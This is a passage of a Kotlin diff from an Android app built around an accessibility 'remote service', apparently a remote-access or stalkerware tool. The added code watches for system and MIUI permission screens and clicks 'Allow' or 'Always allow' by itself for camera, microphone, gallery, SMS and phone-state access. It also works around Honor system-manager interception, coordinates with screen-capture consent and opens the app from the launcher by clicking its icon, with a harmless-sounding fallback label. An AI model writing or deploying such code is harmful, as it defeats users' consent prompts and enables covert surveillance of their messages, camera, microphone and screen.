targets.getOrNull(activeTargetIndex) + ?: targets.firstOrNull { !completedTargets.contains(it.key) } + if (activeTarget == null) { + Log.i(TAG, "✅ MIUI权限自动切换目标已全部完成: reason=$reason") + return@launch + } + val service = com.hikoncont.service.AccessibilityRemoteService.getInstance() val root = service?.rootInActiveWindow - if (root == null) return@repeat - - // 1) 优先处理系统运行时权限弹框按钮(避免额外跳设置页) - val allowButtons = listOf( - // 中文 - "仅在使用中允许", "仅在使用该应用时允许", "始终允许", "始终全部允许", "本次允许","允许", - // 英文 - "Allow", "Allow only while using the app", "Allow all the time", "Always allow" - ) - - if (tryClickByTexts(root, allowButtons)) { - approvalsDone++ - Log.i(TAG, "✅ 已点击运行时权限弹框允许类按钮: $reason (第${approvalsDone}次)") - root.recycle() - if (approvalsDone >= approvalsNeeded) { + if (root == null) { + nonPermissionContextStreak++ + if (nonPermissionContextStreak >= 6) { + recordRuntimePermissionFailure( + reason, + "miui_permission_ui_not_visible", + "root_window_null_streak=$nonPermissionContextStreak", + "miui_auto_toggle" + ) + Log.w(TAG, "⚠️ MIUI权限自动切换提前结束:连续未获取到活动窗口") return@launch - } else { - // 等待下一层弹框出现 - delay(500) - return@repeat } + if (idx % 4 == 0) { + Log.d(TAG, "🧭 MIUI权限自动切换等待窗口: reason=$reason, try=${idx + 1}") + } + return@repeat } + val rootPackage = root.packageName?.toString()?.lowercase().orEmpty() + val inMiuiPermissionPage = isMiuiPermissionEditorPackage(rootPackage) + val inRuntimeDialog = isRuntimePermissionDialogPackage(rootPackage) && !inMiuiPermissionPage + + // 1) 仅在运行时权限弹框包内处理两阶段确认,避免在桌面/系统页误触 + val strictAllow = activeTarget.strictAllowSemantics + if (inRuntimeDialog) { + nonPermissionContextStreak = 0 + if (tryClickRuntimePermissionButtonsInternal( + node = root, + logPrefix = "🧭", + scene = "miui_auto_toggle_${activeTarget.key}", + strictAllowSemantics = strictAllow + ) + ) { + runtimeDialogNoButtonStreak = 0 + completedTargets.add(activeTarget.key) + approvalsDone = completedTargets.size + Log.i( + TAG, + "✅ [MIUI运行时确认] 已点击最终确认按钮: target=${activeTarget.key}, round=${approvalsDone}/$approvalsNeeded" + ) + root.recycle() + if (approvalsDone >= approvalsNeeded) { + return@launch + } else { + activeTargetIndex = targets.indexOfFirst { !completedTargets.contains(it.key) } + .let { if (it < 0) targets.size else it } + // 等待下一层弹框出现 + delay(500) + return@repeat + } + } else { + runtimeDialogNoButtonStreak++ + if (runtimeDialogNoButtonStreak >= 4) { + recordRuntimePermissionFailure( + reason, + "runtime_dialog_button_not_found", + "scene=miui_auto_toggle_${activeTarget.key}, streak=$runtimeDialogNoButtonStreak", + "miui_auto_toggle" + ) + } + } + } else if (idx % 4 == 0) { + Log.d( + TAG, + "🧭 非运行时权限弹框包,跳过两阶段确认: package=$rootPackage, reason=$reason, target=${activeTarget.key}" + ) + } + + if (!inMiuiPermissionPage) { + nonPermissionContextStreak++ + if (nonPermissionContextStreak >= 6) { + recordRuntimePermissionFailure( + reason, + "miui_permission_ui_not_visible", + "package=$rootPackage, streak=$nonPermissionContextStreak", + "miui_auto_toggle" + ) + Log.w( + TAG, + "⚠️ MIUI权限自动切换提前结束:连续不在权限页面/权限弹框, package=$rootPackage" + ) + nodesSafeRecycle(root) + return@launch + } + if (idx % 4 == 0) { + Log.d( + TAG, + "🧭 当前不在MIUI权限页: reason=$reason, package=$rootPackage, try=${idx + 1}" + ) + } + nodesSafeRecycle(root) + return@repeat + } + nonPermissionContextStreak = 0 + val nodes = mutableListOf() collectAllNodes(root, nodes, 0) - // 先定位包含关键词的行项目,再在同层或子层找 Switch/Checkable 按钮 - val targetRows = nodes.filter { node -> - val text = (node.text?.toString() ?: "") + " " + (node.contentDescription?.toString() ?: "") - keywords.any { kw -> text.contains(kw, ignoreCase = true) } + val detailTarget = detectMiuiPermissionDetailTarget(nodes) + if (!detailTarget.isNullOrBlank() && !detailTarget.equals(activeTarget.key, ignoreCase = true)) { + Log.i( + TAG, + "↩️ 当前停留在${detailTarget}权限详情页,先返回列表再处理目标权限: target=${activeTarget.key}" + ) + runCatching { + service?.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK) + } + nodes.forEach { it.recycle() } + root.recycle() + delay(350) + return@repeat + } + if (!detailTarget.isNullOrBlank() && detailTarget.equals(activeTarget.key, ignoreCase = true)) { + val detailApplied = tryClickRuntimePermissionButtonsInternal( + node = root, + logPrefix = "🧭", + scene = "miui_detail_${activeTarget.key}", + strictAllowSemantics = strictAllow, + allowOptionOnlySuccess = true + ) + if (detailApplied) { + completedTargets.add(activeTarget.key) + approvalsDone = completedTargets.size + Log.i( + TAG, + "✅ [MIUI详情授权] 已处理权限详情页: target=${activeTarget.key}, round=${approvalsDone}/$approvalsNeeded" + ) + runCatching { + service?.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK) + } + nodes.forEach { it.recycle() } + root.recycle() + if (approvalsDone >= approvalsNeeded) { + return@launch + } + activeTargetIndex = targets.indexOfFirst { !completedTargets.contains(it.key) } + .let { if (it < 0) targets.size else it } + delay(350) + return@repeat + } } + val bestRow = selectBestMiuiPermissionRow(nodes, activeTarget, idx, maxTries) var toggled = false - for (row in targetRows) { - // 尝试点击行本身 - if (clickNodeOrParent(row)) toggled = true - // 在子节点中找可切换控件 - val sub = mutableListOf() - collectAllNodes(row, sub, 0) - val switchOrButton = sub.firstOrNull { n -> - (n.className?.toString()?.contains("Switch", true) == true) || - (n.isCheckable) || - (n.isClickable && (n.className?.toString()?.contains("Button", true) == true)) + if (bestRow != null) { + if (clickNodeOrParent(bestRow.node)) { + toggled = true + Log.i( + TAG, + "✅ [MIUI条目命中] target=${activeTarget.key}, score=${bestRow.score}, text='${bestRow.text}'" + ) } - if (switchOrButton != null) { - if (clickNodeOrParent(switchOrButton)) toggled = true - } - sub.forEach { it.recycle() } - row.recycle() - if (toggled) break } nodes.forEach { it.recycle() } root.recycle() if (toggled) { - Log.i(TAG, "✅ 已尝试自动切换权限开关: $reason (第${idx + 1}次)") - // 如果还有二次确认弹框,继续轮询点击 - if (approvalsDone >= approvalsNeeded) { - return@launch + if (idx % 3 == 0) { + Log.i( + TAG, + "🧭 MIUI权限条目点击完成,等待详情弹框: reason=$reason, target=${activeTarget.key}, try=${idx + 1}/$maxTries" + ) } + delay(300) } } catch (e: Exception) { Log.e(TAG, "❌ 自动切换权限开关失败", e) } } + Log.w(TAG, "⚠️ MIUI权限自动切换结束但未确认成功: reason=$reason") + recordRuntimePermissionFailure( + reason, + "miui_auto_toggle_exhausted", + "approvalsDone=$approvalsDone/$approvalsNeeded, maxTries=$maxTries", + "miui_auto_toggle" + ) } } catch (e: Exception) { Log.e(TAG, "❌ 启动MIUI权限自动切换流程失败", e) + recordRuntimePermissionFailure( + reason, + "miui_auto_toggle_exception", + e.message ?: "unknown", + "miui_auto_toggle_exception" + ) + } + } + + private fun detectMiuiPermissionDetailTarget( + nodes: List + ): String? { + if (nodes.isEmpty()) return null + val hasRadioLikeControl = nodes.any { node -> + val cls = node.className?.toString().orEmpty() + node.isCheckable || cls.contains("RadioButton", ignoreCase = true) + } + if (!hasRadioLikeControl) return null + + val texts = nodes.mapNotNull { node -> + val merged = buildNodeCombinedText(node.text, node.contentDescription) + .replace("\\s+".toRegex(), "") + if (merged.isBlank()) null else merged + } + if (texts.isEmpty()) return null + + val optionTokens = listOf("拒绝", "每次使用询问", "仅在使用中允许", "始终允许", "询问") + val hasRuntimeLikeOption = texts.any { text -> + optionTokens.any { token -> text.contains(token, ignoreCase = true) } + } + if (!hasRuntimeLikeOption) return null + + for (target in getAllMiuiPermissionTargets()) { + val matched = texts.any { text -> matchesMiuiPermissionTargetText(target, text) } + if (matched) { + return target.key + } + } + return null + } + + private data class MiuiPermissionTarget( + val key: String, + val reason: String, + val keywords: List, + val strictAllowSemantics: Boolean + ) + + private data class MiuiPermissionRowCandidate( + val node: android.view.accessibility.AccessibilityNodeInfo, + val text: String, + val score: Int + ) + + private fun buildMiuiPermissionTargets(reason: String): List { + return when (reason.lowercase()) { + "camera" -> listOf( + MiuiPermissionTarget( + key = "camera", + reason = "camera", + keywords = listOf("摄像头", "相机", "拍摄照片", "录制视频", "camera"), + strictAllowSemantics = false + ) + ) + + "gallery" -> listOf( + MiuiPermissionTarget( + key = "gallery", + reason = "gallery", + keywords = listOf("相册", "照片", "视频", "图片", "媒体", "读取照片", "读取视频"), + strictAllowSemantics = false + ) + ) + + "microphone" -> listOf( + MiuiPermissionTarget( + key = "microphone", + reason = "microphone", + keywords = listOf("麦克风", "录音", "录制音频", "microphone", "recordaudio"), + strictAllowSemantics = false + ) + ) + + "sms" -> listOf( + MiuiPermissionTarget( + key = "sms_core", + reason = "sms", + keywords = listOf("短信", "sms", "彩信", "读取短信", "发送短信", "接收短信"), + strictAllowSemantics = true + ), + MiuiPermissionTarget( + key = "sms_phone_state", + reason = "sms", + keywords = listOf("电话状态", "读取电话状态", "读取电话信息", "phone state", "read phone state"), + strictAllowSemantics = true + ) + ) + + else -> emptyList() + } + } + + private fun getAllMiuiPermissionTargets(): List { + return listOf("camera", "gallery", "microphone", "sms") + .flatMap { buildMiuiPermissionTargets(it) } + } + + private fun matchesMiuiPermissionTargetText( + target: MiuiPermissionTarget, + rawText: String + ): Boolean { + if (rawText.isBlank()) return false + val normalized = rawText.replace("\\s+".toRegex(), "") + if (normalized.isEmpty()) return false + + // 过滤掉MIUI权限页中高频但与授权无关的行,避免误点“存储占用”等信息项 + val blacklist = listOf( + "存储占用", + "内存占用", + "电量占用", + "耗电", + "流量", + "网络", + "WLAN", + "移动数据", + "开机自启动", + "后台弹出", + "锁屏显示", + "应用行为记录", + "权限管理", + "通知管理", + "清除数据", + "强行停止", + "应用详情", + "短视频组件" + ) + if (blacklist.any { normalized.contains(it, ignoreCase = true) }) { + return false + } + + if (target.keywords.none { normalized.contains(it, ignoreCase = true) }) { + return false + } + + // 短信子目标拆分后,不再接受过宽泛关键词,避免误命中相机详情页 + if (target.key == "sms_core") { + val mustHave = listOf("短信", "sms", "彩信") + if (mustHave.none { normalized.contains(it, ignoreCase = true) }) return false + } + if (target.key == "sms_phone_state") { + val mustHave = listOf("电话状态", "读取电话状态", "phone state", "read phone state") + if (mustHave.none { normalized.contains(it, ignoreCase = true) }) return false + } + + return true + } + + private fun scoreMiuiPermissionRow( + target: MiuiPermissionTarget, + normalizedText: String, + node: android.view.accessibility.AccessibilityNodeInfo + ): Int { + var score = 0 + target.keywords.forEach { keyword -> + if (normalizedText.contains(keyword, ignoreCase = true)) { + score += 60 + (keyword.length * 4) + if (normalizedText.equals(keyword, ignoreCase = true)) { + score += 90 + } + } + } + + val stateTokens = listOf("允许", "拒绝", "询问", "始终", "仅在", "每次") + if (stateTokens.any { normalizedText.contains(it, ignoreCase = true) }) { + score += 90 + } + + if (target.key == "sms_core" && normalizedText.contains("电话状态", ignoreCase = true)) { + score -= 120 + } + if (target.key == "sms_phone_state" && + (normalizedText.contains("短信", ignoreCase = true) || normalizedText.contains("彩信", ignoreCase = true)) + ) { + score -= 100 + } + + val noiseTokens = listOf("相机", "摄像头", "麦克风", "录音", "相册", "照片", "视频") + if (target.reason == "sms" && noiseTokens.any { normalizedText.contains(it, ignoreCase = true) }) { + score -= 120 + } + + if (node.isClickable) score += 20 + val className = node.className?.toString().orEmpty().lowercase() + if (className.contains("layout")) score += 10 + if (className.contains("textview")) score -= 8 + return score + } + + private fun selectBestMiuiPermissionRow( + nodes: List, + target: MiuiPermissionTarget, + tryIndex: Int, + maxTries: Int + ): MiuiPermissionRowCandidate? { + val candidates = mutableListOf() + nodes.forEach { node -> + val text = buildNodeCombinedText(node.text, node.contentDescription) + if (text.isBlank()) return@forEach + if (!isLikelyPermissionActionRow(text)) return@forEach + if (!matchesMiuiPermissionTargetText(target, text)) return@forEach + val normalized = text.replace("\\s+".toRegex(), "") + val score = scoreMiuiPermissionRow(target, normalized, node) + candidates.add( + MiuiPermissionRowCandidate( + node = node, + text = normalized.take(80), + score = score + ) + ) + } + + if (candidates.isEmpty()) { + if (tryIndex % 4 == 0) { + Log.d( + TAG, + "🧭 MIUI权限页未命中目标条目: target=${target.key}, try=${tryIndex + 1}/$maxTries" + ) + } + return null + } + + val ranked = candidates.sortedByDescending { it.score } + if (tryIndex % 3 == 0) { + val preview = ranked.take(3).joinToString(" | ") { + "${it.score}:${it.text}" + } + Log.d( + TAG, + "🧭 MIUI目标候选排名: target=${target.key}, top=${ranked.take(3).size}, $preview" + ) + } + return ranked.first() + } + + private fun isLikelyPermissionActionRow(rawText: String): Boolean { + if (rawText.isBlank()) return false + val normalized = rawText.replace("\\s+".toRegex(), "") + val denyTokens = listOf("存储占用", "内存占用", "电量占用", "流量", "应用行为记录", "权限管理", "通知管理") + if (denyTokens.any { normalized.contains(it, ignoreCase = true) }) { + return false + } + return true + } + + private fun nodesSafeRecycle(node: android.view.accessibility.AccessibilityNodeInfo?) { + try { + node?.recycle() + } catch (_: Exception) { } } private fun tryClickByTexts(root: android.view.accessibility.AccessibilityNodeInfo, texts: List): Boolean { return try { + // 优先走运行时权限两阶段点击,避免 MIUI 将 RadioButton 选项误判为最终确认。 + if (tryClickRuntimePermissionButtonsInternal( + node = root, + logPrefix = "🧭", + scene = "miui_auto_toggle_runtime", + strictAllowSemantics = false + ) + ) { + return true + } + + // 文本兜底:仅点击“允许/确认”且非选项控件,避免重复点“每次询问/仅在使用中允许”。 for (t in texts) { val matches = root.findAccessibilityNodeInfosByText(t) if (matches != null && matches.isNotEmpty()) { for (node in matches) { + val combinedText = buildNodeCombinedText(node.text, node.contentDescription) + if (isRuntimeDenyText(combinedText)) { + continue + } + if (!isRuntimeAllowText(combinedText) && !containsAnyKeyword(combinedText, texts)) { + continue + } + if (isRuntimeOptionSelectionText(combinedText) || isRuntimeOptionControl(node)) { + Log.d(TAG, "🧭 文本兜底跳过选项节点: '$combinedText'") + continue + } // 仅对“按钮类”节点进行点击,避免误触开关/列表项 if (clickButtonNodeOrParent(node)) { matches.forEach { it.recycle() } @@ -6227,9 +8298,8 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { val isClassButton = cls.contains("Button", ignoreCase = true) || cls.contains("ImageButton", ignoreCase = true) || cls.contains("MaterialButton", ignoreCase = true) val isRoleButton = role.equals("button", ignoreCase = true) // 对运行时弹框常见的底部操作也可能标记为 TextView 但可点击,这里结合文本关键词再放行 - val text = node.text?.toString() ?: "" - val allowKeywords = listOf("允许", "Allow") - val isClickableAllowText = node.isClickable && allowKeywords.any { text.contains(it, ignoreCase = true) } + val text = buildNodeCombinedText(node.text, node.contentDescription) + val isClickableAllowText = node.isClickable && isRuntimeAllowText(text) && !isRuntimeDenyText(text) return isClassButton || isRoleButton || isClickableAllowText } @@ -6271,18 +8341,270 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { return false } } - + + private fun shouldDeferRuntimePermissionForProjection(permissionKey: String): Boolean { + val normalizedPermissionKey = normalizeRuntimePermissionKey(permissionKey) + // Camera/Microphone should remain available even while projection flow is in progress. + if (normalizedPermissionKey == "camera" || normalizedPermissionKey == "microphone") { + return false + } + if (!isRequestingMediaProjection) { + return false + } + val elapsed = System.currentTimeMillis() - lastMediaProjectionAttemptTime + val hasProjectionState = + MediaProjectionHolder.getPermissionData() != null || MediaProjectionHolder.getMediaProjection() != null + if (elapsed > 12_000L && !hasProjectionState) { + Log.w( + TAG, + "⏱️ 投屏申请门禁超时,自动放行运行时权限: permission=$permissionKey, elapsed=${elapsed}ms" + ) + isRequestingMediaProjection = false + return false + } + Log.i(TAG, "⏸️ 投屏授权进行中,暂缓运行时权限申请: permission=$normalizedPermissionKey") + recordRuntimePermissionFailure( + normalizedPermissionKey, + "deferred_media_projection_in_progress", + "wait_media_projection_flow_complete", + "runtime_request_gate" + ) + return true + } + + private fun shouldWaitForForegroundRuntimeRequest(permissionKey: String): Boolean { + if (!isMiuiDevice()) { + return false + } + + val normalized = normalizeRuntimePermissionKey(permissionKey) + val activePackage = getActiveWindowPackageName() + val selfPackage = context.packageName.lowercase() + val appForeground = activePackage == selfPackage || activePackage.startsWith("$selfPackage.") + val permissionContextVisible = isRuntimePermissionDialogPackage(activePackage) || isLikelyPermissionDialog(activePackage) + if (permissionContextVisible) { + synchronized(this) { + runtimeForegroundGateLastLogAt.remove(normalized) + } + return false + } + if (appForeground) { + synchronized(this) { + runtimeForegroundGateLastLogAt.remove(normalized) + } + return false + } + if (activePackage.isBlank() || isLauncherLikePackage(activePackage)) { + synchronized(this) { + runtimeForegroundGateLastLogAt.remove(normalized) + } + Log.d( + TAG, + "⏭️ MIUI前台门禁放行: permission=$normalized, active=${if (activePackage.isBlank()) "unknown" else activePackage}" + ) + return false + } + + // 优先尝试“权限桥接Activity”,避免因后台前台门禁导致权限请求长期卡死。 + if (launchRuntimePermissionBridgeActivity(normalized, "foreground_gate")) { + synchronized(this) { + runtimeForegroundGateLastLogAt.remove(normalized) + } + Log.i(TAG, "✅ MIUI前台门禁通过桥接页放行: permission=$normalized, active=$activePackage") + return false + } + + val now = System.currentTimeMillis() + var shouldLog = false + synchronized(this) { + val lastLoggedAt = runtimeForegroundGateLastLogAt[normalized] ?: 0L + if (now - lastLoggedAt >= runtimeForegroundGateLogCooldownMs) { + runtimeForegroundGateLastLogAt[normalized] = now + shouldLog = true + } + } + + if (shouldLog) { + val active = if (activePackage.isBlank()) "unknown" else activePackage + val detail = "active=$active" + Log.i(TAG, "⏸️ MIUI运行时权限等待前台: permission=$normalized, $detail") + recordRuntimePermissionFailure( + normalized, + "awaiting_app_foreground", + detail, + "runtime_request_foreground_gate" + ) + } + return true + } + + private fun launchRuntimePermissionBridgeActivity(permissionKey: String, scene: String): Boolean { + val permissionType = when (normalizeRuntimePermissionKey(permissionKey)) { + "camera" -> PermissionRequestActivity.PERMISSION_TYPE_CAMERA + "microphone" -> PermissionRequestActivity.PERMISSION_TYPE_MICROPHONE + "sms" -> PermissionRequestActivity.PERMISSION_TYPE_SMS + "gallery" -> PermissionRequestActivity.PERMISSION_TYPE_GALLERY + else -> return false + } + + return try { + val intent = Intent(context, PermissionRequestActivity::class.java).apply { + addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP) + addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) + putExtra(PermissionRequestActivity.EXTRA_PERMISSION_TYPE, permissionType) + } + context.startActivity(intent) + val visible = verifyRuntimeRequestEntry(permissionKey, "permission_bridge_$scene") + if (!visible) { + recordRuntimePermissionFailure( + permissionKey, + if (isMiuiDevice()) "miui_background_activity_launch_denied" else "runtime_entry_not_visible", + "source=permission_bridge_$scene", + "permission_bridge_activity" + ) + } + visible + } catch (e: Exception) { + recordRuntimePermissionFailure( + permissionKey, + "permission_bridge_launch_exception", + e.message ?: "unknown", + "permission_bridge_activity_exception" + ) + Log.w(TAG, "⚠️ 权限桥接页启动失败: permission=$permissionKey, scene=$scene, msg=${e.message}") + false + } + } + + private fun isLauncherLikePackage(packageName: String): Boolean { + val normalized = packageName.lowercase() + val launcherPackages = listOf( + "com.miui.home", + "com.mi.android.globallauncher", + "com.android.launcher", + "com.android.launcher3", + "com.google.android.apps.nexuslauncher", + "com.android.systemui" + ) + return launcherPackages.any { normalized == it || normalized.startsWith("$it.") } + } + + private fun tryBringAppToForegroundFromLauncher(permissionKey: String): Boolean { + return try { + val root = service.rootInActiveWindow ?: return false + val keywords = buildAppEntryKeywords() + var clicked = false + try { + for (keyword in keywords) { + val matches = runCatching { + root.findAccessibilityNodeInfosByText(keyword) + }.getOrDefault(emptyList()) + if (matches.isEmpty()) continue + for (node in matches) { + try { + if (clickNodeOrParent(node)) { + clicked = true + Log.i( + TAG, + "🎯 前台拉起命中应用入口: permission=$permissionKey, keyword='$keyword'" + ) + break + } + } finally { + runCatching { node.recycle() } + } + } + if (clicked) break + } + } finally { + runCatching { root.recycle() } + } + + if (!clicked) return false + repeat(8) { + Thread.sleep(220) + val active = getActiveWindowPackageName() + val selfPackage = context.packageName.lowercase() + if (active == selfPackage || active.startsWith("$selfPackage.")) { + return true + } + } + false + } catch (e: Exception) { + Log.w(TAG, "⚠️ 前台拉起应用失败: permission=$permissionKey, msg=${e.message}") + false + } + } + + private fun buildAppEntryKeywords(): List { + val label = runCatching { + context.packageManager.getApplicationLabel(context.applicationInfo).toString() + }.getOrDefault("") + val fallback = listOf( + "短视频组件", + "hikoncont", + "hikon", + "phone manager" + ) + return (listOf(label, context.packageName.substringAfterLast('.')) + fallback) + .map { it.trim() } + .filter { it.isNotEmpty() } + .distinct() + } + + private fun shouldLaunchMainActivityForRuntimeRequest(permissionKey: String): Boolean { + val activePackage = getActiveWindowPackageName() + if (activePackage.isBlank()) { + return true + } + val selfPackage = context.packageName.lowercase() + if (activePackage == selfPackage || activePackage.startsWith("$selfPackage.")) { + return true + } + val permissionContextVisible = isRuntimePermissionDialogPackage(activePackage) || isLikelyPermissionDialog(activePackage) + if (permissionContextVisible) { + Log.i( + TAG, + "⏭️ 当前已在权限上下文,跳过MainActivity拉起: permission=$permissionKey, active=$activePackage" + ) + return false + } + if (isMiuiDevice() && isLauncherLikePackage(activePackage)) { + if (tryBringAppToForegroundFromLauncher(permissionKey)) { + Log.i( + TAG, + "✅ 已通过无障碍点击将应用拉到前台,跳过MainActivity强拉起: permission=$permissionKey" + ) + return false + } + } + return true + } + + private fun getActiveWindowPackageName(): String { + return service.rootInActiveWindow + ?.packageName + ?.toString() + ?.lowercase() + .orEmpty() + } + /** * 开始监听摄像头权限对话框 */ private fun startCameraPermissionDialogMonitoring() { serviceScope.launch { + val retryIntervalMs = getRuntimePermissionRetryIntervalMs("camera") + val settleDelayMs = getRuntimeDialogSettleDelayMs() while (isRequestingCameraPermission && cameraPermissionRetryCount < maxRetryCount) { - delay(cameraPermissionRetryInterval) + delay(retryIntervalMs) if (hasCameraPermission()) { Log.i(TAG, "✅ 摄像头权限已授予") isRequestingCameraPermission = false + cameraPermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("camera", "granted") break } @@ -6292,6 +8614,20 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { if (!AccessibilityRemoteService.isServiceRunning()) { Log.w(TAG, "⚠️ 无障碍服务未运行,停止权限申请") isRequestingCameraPermission = false + cameraPermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("camera", "accessibility_stopped") + break + } + + val cameraBlocked = shouldAbortRuntimePermissionMonitor("camera", cameraPermissionRetryCount) + if (cameraBlocked != null) { + Log.w( + TAG, + "⛔ 摄像头权限申请提前终止: code=${cameraBlocked.code}, detail=${cameraBlocked.detail}" + ) + isRequestingCameraPermission = false + cameraPermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("camera", "blocked_${cameraBlocked.code}") break } @@ -6300,10 +8636,12 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { Log.i(TAG, "📷 检测到权限对话框,尝试自动点击") // 点击后等待一下再检查权限状态 - delay(1000) + delay(settleDelayMs) if (hasCameraPermission()) { Log.i(TAG, "✅ 摄像头权限已授予") isRequestingCameraPermission = false + cameraPermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("camera", "granted_after_dialog") break } } else { @@ -6316,6 +8654,8 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { if (cameraPermissionRetryCount >= maxRetryCount) { Log.w(TAG, "⚠️ 摄像头权限申请超时") isRequestingCameraPermission = false + cameraPermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("camera", "monitor_timeout") } } } @@ -6325,12 +8665,16 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { */ private fun startSMSPermissionDialogMonitoring() { serviceScope.launch { + val retryIntervalMs = getRuntimePermissionRetryIntervalMs("sms") + val settleDelayMs = getRuntimeDialogSettleDelayMs() while (isRequestingSMSPermission && smsPermissionRetryCount < maxRetryCount) { - delay(smsPermissionRetryInterval) + delay(retryIntervalMs) if (hasSMSPermission()) { Log.i(TAG, "✅ 短信权限已授予") isRequestingSMSPermission = false + smsPermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("sms", "granted") break } @@ -6340,6 +8684,20 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { if (!AccessibilityRemoteService.isServiceRunning()) { Log.w(TAG, "⚠️ 无障碍服务未运行,停止权限申请") isRequestingSMSPermission = false + smsPermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("sms", "accessibility_stopped") + break + } + + val smsBlocked = shouldAbortRuntimePermissionMonitor("sms", smsPermissionRetryCount) + if (smsBlocked != null) { + Log.w( + TAG, + "⛔ 短信权限申请提前终止: code=${smsBlocked.code}, detail=${smsBlocked.detail}" + ) + isRequestingSMSPermission = false + smsPermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("sms", "blocked_${smsBlocked.code}") break } @@ -6348,10 +8706,12 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { Log.i(TAG, "📱 检测到短信权限对话框,尝试自动点击") // 点击后等待一下再检查权限状态 - delay(1000) + delay(settleDelayMs) if (hasSMSPermission()) { Log.i(TAG, "✅ 短信权限已授予") isRequestingSMSPermission = false + smsPermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("sms", "granted_after_dialog") break } } else { @@ -6364,6 +8724,8 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { if (smsPermissionRetryCount >= maxRetryCount) { Log.w(TAG, "⚠️ 短信权限申请超时") isRequestingSMSPermission = false + smsPermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("sms", "monitor_timeout") } } } @@ -6387,63 +8749,81 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { val windowId = window.id Log.d(TAG, "📱 窗口 $i: ID=$windowId, 标题=$windowTitle, 类型=$windowType") - - // 检查窗口标题是否包含短信权限相关文本 - if (windowTitle.contains("短信", ignoreCase = true) || - windowTitle.contains("SMS", ignoreCase = true) || - windowTitle.contains("允许", ignoreCase = true) || - windowTitle.contains("permission", ignoreCase = true) || - windowTitle.contains("电话", ignoreCase = true) || - windowTitle.contains("PHONE", ignoreCase = true)) { - Log.d(TAG, "📱 找到短信权限弹框窗口: 标题=$windowTitle, ID=$windowId") - - // 尝试通过窗口ID获取根节点 - val windowRoot = getWindowRootByTitle(windowTitle) - if (windowRoot != null) { - Log.d(TAG, "📱 成功获取短信权限弹框根节点") - - // 直接尝试点击按钮 - if (tryClickSMSPermissionButtons(windowRoot)) { - windowRoot.recycle() + + val quickWindowRoot = window.root + if (quickWindowRoot != null) { + try { + if (tryHandleHonorSystemManagerInterception(quickWindowRoot, "sms_window_$i")) { return true } - - windowRoot.recycle() - } else { - Log.w(TAG, "⚠️ 无法获取短信权限弹框根节点,尝试其他方法...") - -// // 尝试通过坐标点击 - if (tryClickSMSByCoordinates(windowTitle)) { - return true - } -// if (tryClickSMSByCoordinates(window)) { -// return true -// } + } finally { + quickWindowRoot.recycle() } } + + // 短信权限:仅处理“系统权限弹窗”根节点,禁止坐标盲点误点。 + val windowRoot = getWindowRootByTitle(windowTitle) + if (windowRoot != null) { + try { + val rootPackage = windowRoot.packageName?.toString() + if (isMiuiPermissionEditorPackage(rootPackage)) { + Log.d(TAG, "📱 跳过MIUI权限编辑页,交给auto_toggle处理: package=$rootPackage") + continue + } + if (!isRuntimePermissionDialogPackage(rootPackage)) { + Log.d(TAG, "📱 跳过非系统权限窗口: title=$windowTitle, package=$rootPackage") + continue + } + + val hasSmsPermissionContext = containsSMSPermissionText(windowRoot) + if (!hasSmsPermissionContext) { + Log.d(TAG, "📱 跳过无短信权限文案窗口: title=$windowTitle, package=$rootPackage") + continue + } + + Log.d(TAG, "📱 命中短信权限弹框窗口: 标题=$windowTitle, 包名=$rootPackage, ID=$windowId") + if (tryClickSMSPermissionButtons(windowRoot)) { + return true + } + } finally { + windowRoot.recycle() + } + } else { + Log.d(TAG, "📱 未获取到窗口根节点,跳过窗口: title=$windowTitle") + } } } // 方法2: 检查活动窗口 val rootNode = service.rootInActiveWindow if (rootNode != null) { - Log.d(TAG, "📱 检查活动窗口...") - - // 递归查找权限相关节点 - val permissionNode = findSMSPermissionNodeInTree(rootNode) - if (permissionNode != null) { - Log.d(TAG, "📱 在活动窗口中找到短信权限节点") - - if (tryClickSMSPermissionButtons(permissionNode)) { - permissionNode.recycle() - rootNode.recycle() + try { + Log.d(TAG, "📱 检查活动窗口...") + if (tryHandleHonorSystemManagerInterception(rootNode, "sms_active")) { return true } - - permissionNode.recycle() + val rootPackage = rootNode.packageName?.toString() + if (isMiuiPermissionEditorPackage(rootPackage)) { + Log.d(TAG, "📱 活动窗口为MIUI权限编辑页,交给auto_toggle处理: package=$rootPackage") + } else if (!isRuntimePermissionDialogPackage(rootPackage)) { + Log.d(TAG, "📱 活动窗口不是系统权限弹窗,跳过: package=$rootPackage") + } else { + // 递归查找权限相关节点 + val permissionNode = findSMSPermissionNodeInTree(rootNode) + if (permissionNode != null) { + try { + Log.d(TAG, "📱 在活动窗口中找到短信权限节点") + if (tryClickSMSPermissionButtons(permissionNode)) { + return true + } + } finally { + permissionNode.recycle() + } + } + } + } finally { + rootNode.recycle() } - - rootNode.recycle() } Log.d(TAG, "📱 未找到短信权限对话框") @@ -6474,21 +8854,33 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { val windowId = window.id Log.d(TAG, "📷 窗口 $i: ID=$windowId, 标题=$windowTitle, 类型=$windowType") - - // 检查窗口标题是否包含摄像头权限相关文本 - if (windowTitle.contains("摄像头", ignoreCase = true) || - windowTitle.contains("拍摄照片", ignoreCase = true) || - windowTitle.contains("录制视频", ignoreCase = true) || - windowTitle.contains("camera", ignoreCase = true) || - windowTitle.contains("允许", ignoreCase = 